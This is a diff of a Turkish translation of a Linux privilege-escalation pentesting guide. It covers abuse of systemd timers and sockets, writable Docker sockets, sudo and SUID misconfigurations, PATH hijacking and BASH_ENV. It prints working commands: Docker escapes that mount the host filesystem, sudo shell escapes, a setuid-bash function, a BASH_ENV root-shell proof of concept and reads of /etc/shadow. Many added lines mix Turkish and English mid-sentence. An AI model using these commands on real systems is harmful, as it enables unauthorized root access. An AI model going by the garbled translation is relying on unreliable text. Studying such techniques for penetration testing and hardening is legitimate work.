+Eğer bir zamanlayıcıyı değiştirebiliyorsanız, systemd.unit içindeki mevcut bazı birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz.
```bash
Unit=backdoor.service
```
-Belgelendirmede Unit'in ne olduğu şöyle yazıyor:
+Dokümantasyonda Unit'in ne olduğu şu şekilde açıklanmış:
-> Zamanlayıcı sona erdiğinde etkinleştirilecek birim. Argüman, son eki ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer zamanlayıcı birimiyle aynı adı taşıyan, sadece ekleri farklı olan bir service olarak varsayılır. (Yukarıya bakınız.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, ek hariç olmak üzere aynı isimde olması önerilir.
+> Bu timer sona erdiğinde etkinleştirilecek unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmemişse, bu değer timer unit ile aynı adı taşıyan, sadece son eki farklı olan bir service olarak varsayılan olur. (Yukarıya bakın.) Etkinleştirilen unit adı ile timer unit adının, son ek hariç, aynı isimde olması önerilir.
-Bu nedenle, bu izni kötüye kullanmak için şunlara ihtiyacınız olur:
+Bu izni kötüye kullanmak için şunları yapmanız gerekir:
-- Bir systemd unit'i (ör. `.service`) bulun; bu unit **yazılabilir bir binary çalıştırıyor**.
-- **göreli bir yol çalıştıran** bir systemd unit'i bulun ve o yürütülebilir dosyayı taklit etmek için **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahip olun.
+- Bir systemd unit (ör. `.service`) bulun; bu unit **yazılabilir bir binary çalıştırıyor**
+- Bir systemd unit bulun; bu unit **göreli bir yol çalıştırıyor** ve siz **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahipsiniz (o executable'ı taklit etmek için)
-**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutuna bakın.**
+**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu kullanın.**
-### **Zamanlayıcıyı Etkinleştirme**
+### **Timer'ı Etkinleştirme**
-Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir:
+Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
-Unutmayın: **timer**, `/etc/systemd/system/.wants/.timer` yolunda ona bir symlink oluşturarak **aktif edilir**
+Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer`
-## Soketler
+## Sockets
-Unix Domain Sockets (UDS), client-server modellerinde aynı veya farklı makinelerde süreçler arası **iletişim** sağlar. Bilgisayarlar arası iletişim için standart Unix dosya tanımlayıcılarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar.
+Unix Domain Sockets (UDS), istemci-sunucu modellerinde aynı veya farklı makinelerde **process communication** sağlar. Bilgisayarlar arası iletişim için standart Unix descriptor dosyalarını kullanır ve `.socket` dosyaları aracılığıyla yapılandırılırlar.
-Soketler `.socket` dosyaları kullanılarak yapılandırılabilir.
+Sockets `.socket` dosyaları kullanılarak yapılandırılabilir.
-**Soketler hakkında daha fazla bilgi için `man systemd.socket`'a bakın.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir:
+**Daha fazla bilgi için sockets hakkında `man systemd.socket`'a bakın.** Bu dosyanın içinde, yapılandırılabilecek birkaç ilginç parametre vardır:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır fakat özetle **nerede dinleyeceğini belirtmek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.)
-- `Accept`: Boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve yalnızca bağlantı soketi ona iletilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan service unit'e iletilir** ve tüm bağlantılar için sadece bir service unit başlatılır. Bu değer, tek bir service unit'un koşulsuz olarak tüm gelen trafiği yönettiği datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan olarak false'dur**. Performans sebepleriyle yeni daemon'ların sadece `Accept=no` için uygun olacak şekilde yazılması önerilir.
-- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar dinleme **sockets**/FIFO'lar oluşturulup bağlanmadan **önce** veya **sonra** sırasıyla **çalıştırılır**. Komut satırının ilk token'ı mutlak bir dosya adı olmalıdır, ardından process için argümanlar gelir.
-- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFO'lar kapatılıp kaldırılmadan **önce** veya **sonra** sırasıyla **çalıştırılan** ek **komutlar**.
-- `Service`: Gelen trafiğe **aktif edilecek** service unit adını belirtir. Bu ayar sadece Accept=no olan soketler için izinlidir. Varsayılan olarak soketle aynı adı taşıyan service'i (sonek değiştirilecek şekilde) kullanır. Çoğu durumda bu seçeneği kullanmak gerekli olmamalıdır.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır fakat özetle socket'in nerede dinleyeceğini **belirtmek** için kullanılır (AF_UNIX socket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.)
+- `Accept`: boolean bir argüman alır. Eğer **true** ise, her gelen bağlantı için bir servis örneği oluşturulur ve yalnızca bağlantı socket'i ona geçirilir. Eğer **false** ise, tüm listening socket'ler başlatılan service birimine **geçirilir**, ve tüm bağlantılar için sadece bir service birimi oluşturulur. Bu değer datagram sockets ve FIFOs için göz ardı edilir; bu türlerde tek bir service birimi tüm gelen trafiği koşulsuz olarak ele alır. Varsayılan olarak false'tur. Performans nedenleriyle yeni daemon'ların `Accept=no` için uygun şekilde yazılması önerilir.
+- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla listening **sockets**/FIFOs **oluşturulmadan** ve bağlanmadan **önce** veya **sonra** çalıştırılır. Komut satırının ilk token'ı mutlak bir dosya adı olmalıdır, ardından işlem için argümanlar gelir.
+- `ExecStopPre`, `ExecStopPost`: Listening **sockets**/FIFOs **kapatılmadan** ve kaldırılmadan önce veya sonra **çalıştırılan** ek **komutlar**dır.
+- `Service`: Gelen trafik üzerine hangi **service** unit adının **aktif edileceğini** belirtir. Bu ayar yalnızca Accept=no olan sockets için izinlidir. Varsayılan olarak socket ile aynı adı taşıyan service'e işaret eder (uzantısı değiştirilmiş olarak). Çoğu durumda bu seçeneği kullanmaya gerek yoktur.
-### Yazılabilir .socket dosyaları
+### Yazılabilir .socket files
-Eğer bir **yazılabilir** `.socket` dosyası bulursanız `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilir** ve backdoor soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\
-_Not: Sistem bu socket dosyası yapılandırmasını kullanıyor olmalıdır, aksi takdirde backdoor çalıştırılmaz_
+Eğer bir **writable** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir satır **ekleyebilirsiniz** ve backdoor socket oluşturulmadan önce çalıştırılacaktır. Bu yüzden **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\
+_Sistemin o socket dosyası yapılandırmasını kullanıyor olması gerekir; yoksa backdoor çalıştırılmaz_
-### Yazılabilir soketler
+### Yazılabilir sockets
-Eğer **herhangi bir yazılabilir socket** tespit ederseniz (_şimdi burada config `.socket` dosyalarından değil Unix Soketlerinden bahsediyoruz_), o soket ile **iletişim kurabilir** ve belki bir açığı istismar edebilirsiniz.
+Eğer herhangi bir **writable socket** tespit ederseniz (_şimdi config `.socket` dosyalarından değil, Unix Sockets'dan bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyeti istismar edebilirsiniz.
-### Unix Soketlerini Listeleme
+### Unix Sockets'i Listeleme
```bash
netstat -a -p --unix
```
@@ -531,7 +530,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
-**Exploitation example:**
+**İstismar örneği:**
{{#ref}}
@@ -540,48 +539,48 @@ socket-command-injection.md
### HTTP sockets
-Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_.socket files'dan değil, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz:
+HTTP isteklerini dinleyen bazı **sockets** olabilir (_.socket dosyalarından değil, unix sockets gibi davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
-Eğer soket **HTTP isteğine yanıt veriyorsa**, onunla **iletişim kurabilir** ve belki **bir güvenlik açığından faydalanabilirsiniz**.
+If the socket **responds with an HTTP** request ise, onunla **communicate** edebilir ve belki bazı **exploit some vulnerability** gerçekleştirebilirsiniz.
### Yazılabilir Docker Socket
-Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur; güvence altına alınması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu sokete yazma erişimine sahip olmak privilege escalation'a yol açabilir. İşte bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü.
+Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e sahip olmak (possessing write access to this socket) privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü bulunmaktadır.
#### **Privilege Escalation with Docker CLI**
-Eğer Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz:
+Docker socket'e write access'iniz varsa, aşağıdaki komutları kullanarak privileges'i escalate edebilirsiniz:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
-Bu komutlar host'un dosya sistemine root düzeyinde erişimi olan bir container çalıştırmanızı sağlar.
+These commands allow you to run a container with root-level access to the host's file system.
-#### **Using Docker API Directly**
+#### **Docker API'sini Doğrudan Kullanma**
-Docker CLI mevcut değilse, Docker socket hâlâ Docker API ve `curl` komutları kullanılarak manipüle edilebilir.
+In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands.
-1. **List Docker Images:** Kullanılabilir images listesini alın.
+1. **List Docker Images:** Retrieve the list of available images.
```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
-2. **Create a Container:** Host sisteminin root dizinini mount eden bir container oluşturmak için istek gönderin.
+2. **Create a Container:** Send a request to create a container that mounts the host system's root directory.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```
-Yeni oluşturulan container'ı başlatın:
+Start the newly created container:
```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start
```
-3. **Attach to the Container:** `socat` kullanarak container'a bağlantı kurun, böylece içinde komut çalıştırabilirsiniz.
+3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it.
```bash
socat - UNIX-CONNECT:/var/run/docker.sock
@@ -591,11 +590,11 @@ Connection: Upgrade
Upgrade: tcp
```
-`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişimi olan container içinde doğrudan komut çalıştırabilirsiniz.
+After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem.
-### Others
+### Diğerleri
-Unutmayın ki docker socket üzerinde yazma izinlerine sahipseniz çünkü **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Check **more ways to break out from docker or abuse it to escalate privileges** in:
@@ -604,18 +603,18 @@ Check **more ways to break out from docker or abuse it to escalate privileges**
docker-security/
{{#endref}}
-## Containerd (ctr) privilege escalation
+## Containerd (ctr) ayrıcalık yükseltme
-Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**:
+If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
{{#ref}}
containerd-ctr-privilege-escalation.md
{{#endref}}
-## **RunC** privilege escalation
+## **RunC** ayrıcalık yükseltme
-Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**:
+If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
{{#ref}}
@@ -624,15 +623,15 @@ runc-privilege-escalation.md
## **D-Bus**
-D-Bus, uygulamaların verimli biçimde etkileşime girmesine ve veri paylaşmasına imkân veren gelişmiş bir inter-Process Communication (IPC) sistemidir. Modern Linux sistemi düşünülerek tasarlanmış olup, farklı uygulamaların iletişimi için sağlam bir çerçeve sunar.
+D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication.
-Sistem, süreçler arası veri alışverişini geliştiren temel IPC'yi destekler; bu, gelişmiş UNIX domain socket'lerine benzer. Ayrıca olay veya sinyal yayınlamayı destekleyerek sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen arama bildirimi bir müzik çalarını sessize aldırabilir. Ek olarak, D-Bus uzak nesne sistemini destekler; bu da uygulamalar arasında servis taleplerini ve method çağrılarını basitleştirir, geleneksel olarak karmaşık olan süreçleri düzene koyar.
+The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex.
-D-Bus, mesaj izinlerini (method çağrıları, sinyal gönderimleri vb.) eşleşen politika kurallarının kümülatif etkisine göre yöneten bir **allow/deny model** üzerinde çalışır. Bu politikalar bus ile hangi etkileşimlere izin verildiğini belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation mümkün olabilir.
+D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions.
-Böyle bir politikanın `/etc/dbus-1/system.d/wpa_supplicant.conf` içindeki bir örneği verilmiştir; root kullanıcısının `fi.w1.wpa_supplicant1`'i sahiplenme, ona gönderme ve ondan mesaj alma izinlerini detaylandırır.
+An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`.
-Belirli bir user veya group belirtilmeyen politikalar evrensel olarak uygulanır; "default" context politikaları ise diğer belirli politikalar tarafından kapsanmayan herkese uygulanır.
+Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies.
```xml
@@ -641,16 +640,16 @@ Belirli bir user veya group belirtilmeyen politikalar evrensel olarak uygulanır
```
-**Burada bir D-Bus iletişimini enumerate ve exploit etmeyi öğrenin:**
+**D-Bus iletişimini buradan nasıl enumerate ve exploit edeceğinizi öğrenin:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
{{#endref}}
-## **Ağ**
+## **Network**
-Ağı enumerate edip makinenin konumunu belirlemek her zaman ilginçtir.
+Network'i enumerate etmek ve makinenin konumunu tespit etmek her zaman ilginçtir.
### Genel enumeration
```bash
@@ -677,22 +676,22 @@ lsof -i
```
### Açık portlar
-Erişmeden önce, daha önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin:
+Erişim sağlamadan önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```
### Sniffing
-Sniff traffic yapıp yapamayacağınızı kontrol edin. Eğer yapabiliyorsanız bazı credentials ele geçirebilirsiniz.
+Sniff traffic yapıp yapamayacağınızı kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz.
```
timeout 1 tcpdump
```
-## Kullanıcılar
+## Users
### Generic Enumeration
-**Kim** olduğunuzu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users** bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin:
+Kendinizin **who** olduğunu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users**'in bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin:
```bash
#Info about me
id || (whoami && groups) 2>/dev/null
@@ -716,21 +715,21 @@ gpg --list-keys 2>/dev/null
```
### Büyük UID
-Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
+Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların escalate privileges yapmasına izin veren bir hatadan etkilendi. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Exploit it** using: **`systemd-run -t /bin/bash`**
### Gruplar
-Sizi root ayrıcalıkları verebilecek herhangi bir grubun **üyesi** olup olmadığınızı kontrol edin:
+Sizi root privileges verebilecek bir grubun **üyesi olup olmadığınızı** kontrol edin:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
-### Panoya
+### Pano
-Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin
+Eğer mümkünse panonun içinde ilginç bir şey olup olmadığını kontrol edin
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@@ -747,27 +746,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Bilinen parolalar
-Eğer ortamın herhangi bir parolasını **biliyorsanız**, parolayı kullanarak **her kullanıcıyla giriş yapmayı deneyin**.
+Eğer ortamın herhangi bir **parolasını biliyorsanız**, parolayı kullanarak **her kullanıcıyla giriş yapmayı deneyin**.
### Su Brute
-Eğer çok fazla gürültü çıkarmayı önemsemiyorsanız ve `su` ve `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıları brute-force etmeyi deneyebilirsiniz.\
-[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile ayrıca kullanıcıları brute-force etmeye çalışır.
+Eğer çok fazla gürültü çıkarmaktan çekinmiyorsanız ve `su` ve `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcı üzerinde brute-force denemeyi deneyebilirsiniz.\
+[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile aynı zamanda kullanıcılar üzerinde brute-force denemeye çalışır.
-## Yazılabilir $PATH suistimalleri
+## Yazılabilir PATH suistimalleri
### $PATH
-Eğer $PATH içindeki herhangi bir klasöre **yazabiliyorsanız**, yazılabilir klasörün içine **backdoor oluşturarak** hak yükseltmesi sağlayabilirsiniz; bu backdoor, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla olmalı ve **$PATH'te sizin yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmemelidir**.
+Eğer $PATH içindeki herhangi bir klasöre **yazabiliyorsanız**, yazılabilir klasörün içine farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla bir **backdoor** oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komut $PATH'te yazılabilir klasörünüzden **önce gelen bir klasörden yüklenmemelidir**.
-### SUDO and SUID
+### SUDO ve SUID
-Bazı komutları sudo ile çalıştırma izniniz olabilir veya bazı ikililerde suid bit'i setli olabilir. Bunu kontrol etmek için:
+sudo kullanarak bazı komutları çalıştırmaya izinli olabilirsiniz veya dosyalarda suid biti olabilir. Kontrol etmek için:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
-Bazı **beklenmedik komutlar dosyaları okumanıza ve/veya yazmanıza ya da hatta bir komut çalıştırmanıza izin verebilir.** Örneğin:
+Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@@ -778,37 +777,37 @@ less>!
```
### NOPASSWD
-Sudo yapılandırması, bir kullanıcının şifreyi bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir.
+Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla bir komutu parola bilmeden çalıştırmasına izin verebilir.
```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
-Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh key ekleyerek veya `sh` çağırarak shell elde etmek artık çok kolay.
+Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak artık bir shell almak çok kolay.
```
sudo vim -c '!sh'
```
### SETENV
-Bu yönerge, kullanıcının bir şeyi çalıştırırken **set an environment variable** yapmasına izin verir:
+Bu yönerge kullanıcının bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
-Bu örnek, **HTB machine Admirer**'a dayanan ve script root olarak çalıştırılırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **istismara açıktı**:
+Bu örnek, **HTB machine Admirer'e dayalı**, script root olarak çalıştırılırken rastgele bir python kütüphanesi yüklemek için **PYTHONPATH hijacking**'e karşı **savunmasızdı**:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
-### BASH_ENV sudo env_keep aracılığıyla korundu → root shell
+### BASH_ENV preserved via sudo env_keep → root shell
If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
-- Why it works: Etkileşimsiz shell'lerde, Bash `$BASH_ENV`'i değerlendirir ve hedef script'i çalıştırmadan önce o dosyayı source eder. Birçok sudo kuralı bir script'i veya bir shell wrapper'ını çalıştırmaya izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla source edilir.
+- Neden işe yarar: Etkileşimsiz shell'ler için Bash, `$BASH_ENV`'i değerlendirir ve hedef script çalıştırılmadan önce o dosyayı source eder. Birçok sudo kuralı bir scripti veya bir shell wrapper'ı çalıştırmaya izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla kaynaklanır.
-- Requirements:
-- Çalıştırabileceğiniz bir sudo kuralı (non-interactive olarak `/bin/bash`'ı çağıran herhangi bir hedef, veya herhangi bir bash script).
-- `BASH_ENV`'in `env_keep` içinde olması (kontrol etmek için `sudo -l`).
+- Gereksinimler:
+- Çalıştırabileceğiniz bir sudo kuralı (`/bin/bash`'ı etkileşimsiz olarak çağıran herhangi bir hedef veya herhangi bir bash scripti).
+- `BASH_ENV`'in `env_keep` içinde bulunması (`sudo -l` ile kontrol edin).
- PoC:
```bash
@@ -820,14 +819,14 @@ chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
```
-- Güçlendirme:
-- `env_keep` içinden `BASH_ENV` (ve `ENV`) öğesini kaldırın, `env_reset`'i tercih edin.
-- sudo-allowed commands için shell wrappers kullanmaktan kaçının; minimal binaries kullanın.
-- preserved env vars kullanıldığında sudo I/O logging ve alerting'i değerlendirin.
+- Sertleştirme:
+- `BASH_ENV` (ve `ENV`) öğelerini `env_keep`'ten kaldırın, `env_reset`'i tercih edin.
+- sudo ile izin verilen komutlar için shell wrapper'larından kaçının; mümkünse minimal ikili (binaries) kullanın.
+- Korunan env değişkenleri kullanıldığında sudo I/O kaydı ve uyarı mekanizmalarını düşünün.
### Sudo yürütme atlatma yolları
-**Jump** yaparak diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
+**Atlayın** diğer dosyaları okumak için veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@@ -837,50 +836,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
-Eğer bir **wildcard** kullanılıyorsa (\*), bu daha da kolaydır:
+Eğer bir **wildcard** kullanılırsa (\*), daha da kolaydır:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```
**Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
-### Sudo command/SUID binary komut yolu belirtilmeden
+### Sudo command/SUID binary komut yolu belirtilmemişse
-Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz.
+Eğer **sudo izni** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
-Bu teknik, eğer bir **suid** binary **başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman tuhaf bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin)**.
+Bu teknik, bir **suid** binary başka bir komutu yolunu belirtmeden çalıştırıyorsa da kullanılabilir (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin).
[Payload examples to execute.](payloads-to-execute.md)
-### Komut yolu olan SUID binary
+### Komut yoluna sahip SUID binary
-Eğer **suid** binary **komutun yolunu belirterek başka bir komut çalıştırıyorsa**, çağırdığı komutun adıyla bir **export a function** oluşturmaya çalışabilirsiniz.
+Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon oluşturup **export a function** yapmayı deneyebilirsiniz.
-Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmeyi denemelisiniz:
+For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
-Sonra, suid binary'yi çağırdığınızda, bu fonksiyon çalıştırılacaktır
+Then, when you call the suid binary, this function will be executed
### LD_PRELOAD & **LD_LIBRARY_PATH**
-**LD_PRELOAD** environment variable, loader tarafından standart C kütüphanesi (`libc.so`) dahil diğer tüm kütüphanelerden önce yüklenmesi için bir veya daha fazla shared library (.so files) belirtmekte kullanılır. Bu işleme kütüphane preload etme denir.
+**LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.
-Ancak, bu özelliğin özellikle **suid/sgid** yürütülebilirlerle kötüye kullanılmasını önlemek ve sistem güvenliğini korumak için sistem bazı koşullar uygular:
+However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:
-- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkin kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilirler için **LD_PRELOAD**'u göz ardı eder.
